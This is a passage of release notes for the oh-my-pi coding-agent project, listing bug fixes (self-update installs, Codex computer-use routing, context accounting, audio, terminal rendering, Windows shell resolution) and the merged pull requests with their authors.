<li>Fixed <code>omp update</code> aborting with <code>npm error EEXIST</code> on standalone binary installs whose directory coincides with the global npm/bun bin dir (for example <code>npm prefix -g</code> set to <code>~/.local</code>, which the installer also targets). The install-target resolver classified the binary as npm/bun-managed from directory containment alone, so <code>npm install -g</code> tried to replace a regular file its symlink step would clobber; it now treats a plain executable (not a symlink) in a package-manager bin dir as the standalone binary and self-updates it in place (<a href="https://github.com/can1357/oh-my-pi/pull/6527" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6527/hovercard">#6527</a> by <a href="https://github.com/am423">@am423</a>).</li>
<li>Fixed Codex subscription and proxy models being sent the unsupported native <code>{ type: "computer" }</code> declaration based only on model ID. They now receive the callable function-tool fallback, including after switching from native OpenAI Responses history, while explicit endpoint metadata can still opt into the GA contract. Explicit native Codex replays preserve <code>computer_call</code>/<code>computer_call_output</code> pairing, normal CLI startup keeps the native desktop worker graph lazy, and packaged workers re-enter the single CLI host without the computer module claiming non-computer selectors.</li>
<li>Fixed isolated JavaScript eval subprocesses letting the global fatal-rejection handler race the cell rejection interceptor. A floated promise rejection is now folded into the owning cell result without killing its reusable worker process.</li>
<li>Fixed <code>/context</code> counting hidden, explicit-only skills (<code>hide: true</code> / <code>disable-model-invocation</code>) in the Skills category and subtracting that inflated estimate from the first system-prompt block, which reported <code>System prompt: 0 tokens</code> and inflated Skills usage. Accounting now counts only the skills actually rendered into the system prompt — mirroring <code>buildSystemPrompt</code>'s filter, so hidden skills and all skills when the <code>read</code> tool is unavailable contribute zero (<a href="https://github.com/can1357/oh-my-pi/issues/6498" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6498/hovercard">#6498</a>).</li>
<li>Fixed <code>pi-sprite</code> failing plugin validation because the legacy Pi compatibility shims omitted <code>createExtensionRuntime</code> and terminal capability/image-deletion helpers used by the extension (<a href="https://github.com/can1357/oh-my-pi/issues/6506" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6506/hovercard">#6506</a>).</li>
<li>Fixed Escape waiting for an in-flight <code>session_stop</code> extension handler to exhaust its timeout; abort now cancels the active stop pass without reporting a false timeout or applying stale continuation context (<a href="https://github.com/can1357/oh-my-pi/issues/6489" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6489/hovercard">#6489</a>).</li>
<li>Fixed the agent not resuming after re-answering a past <code>ask</code> from the session tree. Committing a new answer via <code>/tree</code> branched a fresh sibling <code>toolResult</code> and rebuilt context, but nothing ever continued the agent — unlike a live <code>ask</code>, whose continuation is intrinsic to the streaming run loop — so the model never consumed the new answer and the session sat idle until a manual prompt. <code>navigateTree</code> now reports the commit (<code>askReanswerCommitted</code>) and the interactive <code>/tree</code> handler resumes the agent via <code>resumeAfterAskReanswer()</code> <em>after</em> its transcript rebuild, so the resumed turn never renders against the stale pre-rebuild UI. Plain leaf moves and the read-only <code>reopenAsk</code> probe stay idle (<a href="https://github.com/can1357/oh-my-pi/issues/6483" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6483/hovercard">#6483</a>).</li>
<li>Fixed Ctrl+C and fatal shutdown entering an <code>ExtensionExitError</code> rejection loop while an extension or hook was still loading (<a href="https://github.com/can1357/oh-my-pi/issues/6488" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6488/hovercard">#6488</a>).</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Added</h3>
<ul>
<li>Added the <code>@oh-my-pi/pi-natives/desktop</code> factory entry, which defers native addon loading until a desktop worker initializes its session.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed Linux native audio over forwarded PulseAudio servers: capture now handles 125 ms Android fragments without stalling, and playback buffers enough audio to avoid TCP underruns and stuttering (<a href="https://github.com/can1357/oh-my-pi/pull/6628" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6628/hovercard">#6628</a> by <a href="https://github.com/anatoli-tsinovoy">@anatoli-tsinovoy</a>).</li>
<li>Fixed older running OMP versions deleting newer native addon cache directories during cleanup, which could race a new version's first-run extraction and crash with <code>ENOENT</code>.</li>
<li>Fixed macOS computer screenshots occasionally returning the pre-action frame instead of reflecting completed keyboard and pointer input (<a href="https://github.com/can1357/oh-my-pi/pull/6595" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6595/hovercard">#6595</a> by <a href="https://github.com/wolfiesch">@wolfiesch</a>).</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Fixed</h3>
<ul>
<li>Prevented inline Kitty graphics from covering full-width overlays such as <code>/switch</code>.</li>
<li>Fixed Ctrl+O (expand tools) truncating the session on ConPTY hosts (native Windows and WSL): the full-view replay routed through the ConPTY frame-truncation intended only for bulk transcript-replacement paints (issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614564095" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2115" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2115/hovercard" href="https://github.com/can1357/oh-my-pi/issues/2115">#2115</a>), dropping every row above the retained tail behind an "older lines hidden" marker. The bound now keys on paint intent — bulk replacements (initial resume, <code>/resume</code>, handoff, resize geometry rebuilds) stay bounded, while a user-driven <code>resetDisplay()</code> (Ctrl+O expand, thinking/setting toggles, display reset) replays the whole transcript (<a href="https://github.com/can1357/oh-my-pi/issues/4863" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/4863/hovercard">#4863</a>).</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Fixed</h3>
<ul>
<li><code>getShellConfig</code> no longer throws <code>No bash shell found</code> on Windows hosts without a discoverable bash. <code>resolveWindowsShell</code> searches Git for Windows install roots (machine, per-user, <code>GIT_INSTALL_ROOT</code>, scoop app dirs — scoop shims <code>sh.exe</code>/<code>git.exe</code> but never <code>bash.exe</code>), then <code>bash.exe</code>/<code>sh.exe</code> on PATH, and finally falls back to <code>cmd.exe</code> from ComSpec with <code>/c</code> args, so shell resolution always succeeds.</li>
<li>Fixed postmortem signal and fatal shutdown exits being intercepted by temporary <code>process.exit</code> guards during extension startup (<a href="https://github.com/can1357/oh-my-pi/issues/6488" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6488/hovercard">#6488</a>).</li>
<li>Corrected Windows shell resolution errors to identify the active global, project, overlay, or runtime source for <code>shellPath</code> instead of directing every user to the retired <code>settings.json</code> file (<a href="https://github.com/can1357/oh-my-pi/issues/6579" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6579/hovercard">#6579</a>).</li>
<li>Contained timed-out child lifecycle rejections so <code>ptree</code> callers cannot leak an unhandled <code>TimeoutError</code> after settling (<a href="https://github.com/can1357/oh-my-pi/issues/6635" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6635/hovercard">#6635</a>).</li>
<li>Fixed an invalid configured <code>shellPath</code> being silently masked whenever an earlier caller had already resolved a shell in the same process; the guidance error now surfaces regardless of cache state.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(coding-agent): source auth-gateway catalog from ModelRegistry by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975932371" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6618" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6618/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6618">#6618</a></li>
<li>fix(catalog): retry empty model discovery by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976114491" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6622" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6622/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6622">#6622</a></li>
<li>fix(advisor): propagate advisor provider session id via metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976869209" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6626" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6626/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6626">#6626</a></li>
<li>fix(natives): stabilize forwarded PulseAudio capture and playback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anatoli-tsinovoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anatoli-tsinovoy">@anatoli-tsinovoy</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977218883" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6628" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6628/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6628">#6628</a></li>
<li>fix(utils): contain ptree timeout rejections by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977523032" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6644" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6644/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6644">#6644</a></li>
<li>fix(secrets): avoid hashline placeholder collisions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977546832" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6646" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6646/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6646">#6646</a></li>
<li>fix(coding-agent): restore legacy pi automode compatibility by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977946404" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6649" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6649/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6649">#6649</a></li>
<li>feat(ai): report MiniMax Token Plan quota in usage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/everton-dgn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/everton-dgn">@everton-dgn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978086993" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6650" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6650/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6650">#6650</a></li>
<li>fix(prewalk): apply same-model effort downgrades instead of skipping by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978737385" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6660" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6660/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6660">#6660</a></li>
<li>fix(advisor): notify the user when a quarantined turn drops advice by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978882621" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6662" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6662/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6662">#6662</a></li>
<li>fix(coding-agent): route js-debug commands to the stopped script child by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978962518" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6665" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6665/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6665">#6665</a></li>
<li>fix(catalog): keep reference-less Copilot Claude models reasoning-capable and cache-stable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978987351" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6666" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6666/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6666">#6666</a></li>
<li>fix(ai): break anthropic oauth↔providers circular import (claudeCodeVersion TDZ) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oldschoola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oldschoola">@oldschoola</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979053622" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6667" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6667/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6667">#6667</a></li>
<li>fix(session): retry reasonless tool-call aborts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979100930" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6669" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6669/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6669">#6669</a></li>
<li>fix(providers): add China (Beijing) region for alibaba-token-plan by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979539514" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6683" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6683/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6683">#6683</a></li>
<li>fix(stt): resolve Windows workspace sherpa addon by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980267666" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6691" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6691/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6691">#6691</a></li>
<li>fix(coding-agent): match bash deny/prompt patterns per command segment by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980327153" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6697" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6697/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6697">#6697</a></li>
<li>fix(cli): defer out-of-scope default role so extension models resolve by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980340547" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6698" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6698/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6698">#6698</a></li>
<li>fix(coding-agent): stop the live advisor runtime when /settings disables it by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paolomazzitti/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paolomazzitti">@paolomazzitti</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980624325" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6701" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6701/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6701">#6701</a></li>
<li>fix(tui): keep full-width overlays above inline images by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oleksoleksoleks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oleksoleksoleks">@oleksoleksoleks</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965041331" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6471" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6471/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6471">#6471</a></li>
<li>fix(coding-agent): resume agent after /tree ask re-answer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965410933" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6484" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6484/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6484">#6484</a></li>
<li>fix(coding-agent): bypass extension guards during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4966259727" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6493" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6493/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6493">#6493</a></li>
<li>fix(session): cancel in-flight session_stop handlers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4966282372" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6494" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6494/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6494">#6494</a></li>
<li>fix(coding-agent): count only rendered skills in /context accounting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967101857" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6500" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6500/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6500">#6500</a></li>
<li>fix(cursor): synthesize missing exec MCP tool calls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967460580" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6502" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6502/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6502">#6502</a></li>
<li>fix(ai): retry statusless provider capacity errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967588944" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6505" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6505/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6505">#6505</a></li>
<li>fix(plugins): restore pi-sprite legacy compatibility by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967932220" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6507" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6507/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6507">#6507</a></li>
<li>fix(ai):strip output-only statuses from Responses replay by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ant39140/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ant39140">@Ant39140</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968208575" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6513" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6513/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6513">#6513</a></li>
<li>fix(ai): repair Alibaba Token Plan usage reporting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eggpeat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eggpeat">@eggpeat</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969135221" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6521" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6521/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6521">#6521</a></li>
<li>fix(coding-agent): self-update binary install when its dir overlaps npm/bun bin dir by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/am423/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/am423">@am423</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969963471" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6527" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6527/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6527">#6527</a></li>
<li>fix(computer-use): correct Codex subscription routing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usr-bin-roygbiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usr-bin-roygbiv">@usr-bin-roygbiv</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970626450" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6533" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6533/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6533">#6533</a></li>
<li>fix(advisor): bound Codex SSE retries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffscottward/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffscottward">@jeffscottward</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971484148" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6537" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6537/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6537">#6537</a></li>
<li>fix(ai): stop one Codex window's limit from blocking the others by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paralin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paralin">@paralin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971842369" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6541" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6541/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6541">#6541</a></li>
<li>feat(agent): wake steering on an event instead of polling for it by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paralin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paralin">@paralin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971845410" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6544" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6544/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6544">#6544</a></li>
<li>fix(tui): stop Ctrl+O expand truncating the session on ConPTY by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972928657" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6553" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6553/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6553">#6553</a></li>
<li>fix(omp): fit native compaction after large tool output by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oleksoleksoleks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oleksoleksoleks">@oleksoleksoleks</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973202224" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6556" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6556/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6556">#6556</a></li>
<li>fix(update): verify GitHub release asset and digest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rvagg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rvagg">@rvagg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973213595" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6557" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6557/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6557">#6557</a></li>
<li>fix(tui): make provider error blocks expandable via ctrl+o by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973246535" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6558" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6558/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6558">#6558</a></li>
<li>fix(cursor): embed data URI for images in root-prompt history by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sethmorton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sethmorton">@sethmorton</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973333780" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6564" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6564/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6564">#6564</a></li>
